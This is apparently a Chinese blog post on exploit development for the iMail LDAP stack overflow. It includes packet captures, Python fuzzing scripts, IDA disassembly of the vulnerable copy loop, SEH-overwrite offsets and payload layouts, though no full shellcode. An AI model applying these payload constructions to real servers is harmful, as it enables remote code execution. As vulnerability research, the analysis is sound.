根据iDefence的分析.出在LDAP协议处理不当上面.最后会导致一个基于栈的溢出.
iDefence的公告:
imail是这么处理整数的.首先一个0x02标志.然后后面就是跟一个整数占用的字节数.最后才是整数自身.
iDefence的举例:
0x02 0x03 0x0A 0x25 0xBD (665501 (0xA25BD))
这里是错误的,应该是665021.
因为只知道LDAP是轻量级目录访问协议.而对协议本身一点都不熟悉.于是到python的站点下载了一个LDAP模块.抓包分析一下协议熟悉一下先.
#ldapsearch.py
import ldap
l = ldap.open("192.168.0.217")
l.search_s("o=My Organisation, c=AU", ldap.SCOPE_SUBTREE, "objectclass=*")
使用ethereal,运行脚本.抓包如下:
00000000 30 3c 02 01 01 63 37 04 17 6f 3d 4d 79 20 4f 72 0<...c7. .o=My Or
00000010 67 61 6e 69 73 61 74 69 6f 6e 2c 20 63 3d 41 55 ganisati on, c=AU
00000020 0a 01 02 0a 01 00 02 01 00 02 01 00 01 01 00 87 ........ ........
00000030 0b 6f 62 6a 65 63 74 63 6c 61 73 73 30 00 .objectc lass0.
Ethereal LDAP Search Request Decode:
Message Id: 1
Message Type :search Request (0x03)
Message Length:55
Base DN : o=My organisation, c=AU
Scope : Subtree (0x02)
Dereference:Never (0x00)
Size limit :0
Time Limit :0
Attributes only :False
Filter : (objectclass=*)
这里是一个serach request.其中message id,size limit ,time limit都是整数字段.对应关系是
Message ID :1 02 01 01
Size limit :0 02 01 00
Time limit :0 02 01 00
自己构造一个程序测试.把Message ID 字段的01改为ff,后面加大量的垃圾数据会使iLDAP这个进程触发异常.异常发生在下面这段代码执行的时候(测试size limit字段也是一样的结果)
MOV DL, BYTE PTR DS:[EDX+EAX]
完全和公告对应起来了.问题肯定就在这里.
用ida pro 去反汇编idap.exe
.text:00401131 ; Attributes: bp-based frame
.text:00401131
.text:00401131 vulable proc near ; CODE XREF: sub_401412+A6p
.text:00401131 ; sub_401412+2FBp ...
.text:00401131
.text:00401131 var_10 = dword ptr -10h
.text:00401131 var_C = dword ptr -0Ch
.text:00401131 var_8 = dword ptr -8
.text:00401131 var_4 = dword ptr -4
.text:00401131
.text:00401131 push ebp
.text:00401132 mov ebp, esp
.text:00401134 sub esp, 10h
.text:00401137 mov [ebp+var_10], ecx ;[ecx+8]就是0x02 0xff后面的4个字节
.text:0040113A mov [ebp+var_C], 0
.text:00401141 push 4 ; size_t
.text:00401143 push 0 ; int
.text:00401145 lea eax, [ebp+var_4]
.text:00401148 push eax ; void *
.text:00401149 call _memset
.text:0040114E add esp, 0Ch
.text:00401151 mov [ebp+var_8], 0
.text:00401158 jmp short loc_401163
.text:0040115A ;
.text:0040115A
.text:0040115A loc_40115A: ; CODE XREF: vulable+5Bj
.text:0040115A mov ecx, [ebp+var_8]
.text:0040115D add ecx, 1
.text:00401160 mov [ebp+var_8], ecx
.text:00401163 loc_401163: ; CODE XREF: vulable+27j
.text:00401163 mov edx, [ebp+var_10]
.text:00401166 mov eax, [ebp+var_8]
.text:00401169 cmp eax, [edx+8]
.text:0040116C jnb short loc_40118E
.text:0040116E mov ecx, [ebp+var_10]
.text:00401171 mov edx, [ecx+10h] ;[ecx+10h]为指向0x02 0xFF后面的第5个字节开始的字符串的指针
.text:00401174 mov eax, [ebp+var_10]
.text:00401177 mov ecx, 4 ; ecx = 4
.text:0040117C sub ecx, [eax+8] ; [eax+8]为0x02 0xFF后面的4个字节
.text:0040117F add ecx, [ebp+var_8] ; ebp+var_8在第一次循环为0.此后每次循环递增1
.text:00401182 mov eax, [ebp+var_8]
.text:00401185 mov dl, [edx+eax]; ;"x02CC"后面的第5个字节开始拷贝
.text:00401188 mov byte ptr [ebp+ecx+var_4], dl ; 开始逐字节写入
.text:0040118C jmp short loc_40115A
上面的注释就是在异常产生的时候的跟踪结果.可以看出程序从0x02 0x01后面的第5个字节开始写入0x02 0x01后面的4个字节经过处理后指向的地址.这样我们就可以控制程序从一个地址开始写入我们任意构造的数据.之前还有一些处理在exploit过程中不用太关心.触发异常的时候Global Exception Handler上面指向SEH链的指针在ebp+68,如果让ebp+ecx-4为ebp+68.那么就可以用这个循环覆盖他了. 4 -0x68+4 = 0xFFFFFF98.那么覆盖的buffer可以如此构造:
"x02xCCxFFxFFxFFx98" + jmp 06 + call eax +shellcode
但是发现这里shellcode被截断.根本不够放shellcode.于是考虑在Base DN字段里面放入realshellcode.在前面说的shellcode放入一个搜索的shellcode.明天待续吧.
早上起来五谷轮回的时候突然发现自己傻了.何必那么麻烦,换一个请求应该可以直接有地方放shellcode了.看来熬夜效率也未必高:).考虑构造另外一个协议.同样用python写一个简单的脚本.
#LdapBind.py
import ldap
m = "A" * 368
l = ldap.open("192.168.0.217")
l.simple_bind_s("",m)
00000000 30 82 01 80 02 01 01 60 82 01 79 02 01 02 04 00 0......` ..y.....
00000010 80 82 01 70 41 41 41 41 41 41 41 41 41 41 41 41 ...pAAAA AAAAAAAA
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAA AAAAAAAA
........
Ethereal LDAP Bind Request Decode:
Message Id :1
Message Type : Bind Request (0x00)
Message Length : 377
Response In : 5
Version :2
DN : (NULL)
Auth Type :simple (0x00)
Password : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.......
这里发现还有一个问题.
ethereal在解析LDAP协议的时候露掉了几个字段.就是整个数据包的长度.在Message ID字段之前,0x30标志之后的0x82 0x01 0x80就是表示的整个数据包的长度(Requestlength).而且00000011处还有一个82 01 70也应该是一个长度字段.刚好等于password中"AAAA..." 的长度368.是不是分析协议都是要带点猜,呵呵.我测试结果是如果RequestLength计算错误,程序不会导致异常.
如果length字段 比如Message length大于2个字节的话.那么会用0x82作为一个标志.然后后面的两个字节来表示长度.所以用python写脚本的时候最好考虑到shellcode等占用的大小,然后构造数据包发送.
这个时候,kkqq告诉我这个iMail的溢出的exploit已经有人发表在securityfocus上了,呵呵.算了,自己还是弄完吧.
言归正传.
构造数据30 82 01 80 02 01 01 60 82 01 79 + 02 ff + "AAAAAAAAAAAAA......"
这次发现指向SEH链的指针地址在ebp+AC.同样的采用上面分析的方法可以得到0x02 0xCC后面应该是4-0xAC+4=ffffff54,构造好协议之后这个地址也就是固定的了.
最后构造30 82 01 80 02 01 01 60 82 01 79 + 02 ff + "xffxffxffx54" + shortjmp + callebx +shellcode就行了.
题外话,很多人说外面公开的那个imail ldap exploit成功率很低,我一个朋友在自己机器上面测试那个exploit是成功了.LDAP是轻量级目录访问协议,很多地方都会用到,windows服务器开放了活动目录往往都开放此服务.开了389不表示一定是imail打开的.而且imail是默认不开这个服务的,never帮我测试exploit的时候也是扫描的389端口.发现只要不能成功溢出的服务都没有崩溃.389端口还能继续连接,也还没有发现服务
崩溃但是没有成功溢出的例子(只测试了80系列和中文系统),我想我这个是不是说明这个并不是imail自带的LDAP了?而是当然.这只是个猜测,也许是exploit写的不好的原因.如果有更好的方法请指点指点小弟拉~~谢谢.因为觉得老外写的那个exploit没有多大问题(可能需要改改call ebx地址)就不占用篇幅贴exploit了.